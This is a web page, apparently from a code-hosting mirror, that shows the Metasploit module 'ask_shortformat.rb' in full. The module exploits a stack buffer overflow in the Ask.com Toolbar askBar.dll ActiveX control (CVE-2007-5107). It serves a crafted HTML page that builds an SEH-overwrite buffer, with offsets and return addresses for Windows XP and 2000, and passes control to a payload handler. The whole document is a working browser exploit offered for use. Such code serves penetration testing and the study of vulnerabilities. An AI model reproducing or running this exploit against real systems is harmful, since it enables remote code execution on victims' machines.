Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/browser/ask_shortformat.rb
Views: 11783
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpServer::HTML9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'Ask.com Toolbar askBar.dll ActiveX Control Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in Ask.com Toolbar 4.0.2.53.16An attacker may be able to execute arbitrary code by sending an overly17long string to the "ShortFormat()" method in askbar.dll.18},19'License' => MSF_LICENSE,20'Author' => [ 'MC' ],21'References' =>22[23[ 'CVE', '2007-5107' ],24[ 'OSVDB', '37735' ]25],26'DefaultOptions' =>27{28'EXITFUNC' => 'process',29},30'Payload' =>31{32'Space' => 800,33'BadChars' => "\x00\x09\x0a\x0d'\\",34'StackAdjustment' => -3500,35},36'Platform' => 'win',37'Targets' =>38[39[ 'Windows XP SP0/SP1 Pro English', { 'Offset' => 2876, 'Ret' => 0x71aa32ad } ],40[ 'Windows 2000 Pro English ALL', { 'Offset' => 1716, 'Ret' => 0x75022ac4 } ],41],42'DisclosureDate' => '2007-09-24',43'DefaultTarget' => 0))44end4546def autofilter47false48end4950def check_dependencies51use_zlib52end5354def on_request_uri(cli, request)55# Re-generate the payload56return if ((p = regenerate_payload(cli)) == nil)5758# Randomize some things59vname = rand_text_alpha(rand(100) + 1)60strname = rand_text_alpha(rand(100) + 1)6162# Set the exploit buffer63filler = rand_text_alpha(target['Offset'])64seh = generate_seh_payload(target.ret)65sploit = filler + seh + rand_text_alpha(payload.encoded.length)6667# Build out the message68content = %Q|<html>69<object classid='clsid:5A074B2B-F830-49DE-A31B-5BB9D7F6B407' id='#{vname}'></object>70<script language='javascript'>71#{strname} = new String('#{sploit}');72#{vname}.ShortFormat = #{strname}73</script>74</html>75|7677print_status("Sending #{self.name}")7879# Transmit the response to the client80send_response_html(cli, content)8182# Handle the payload83handler(cli)84end85end868788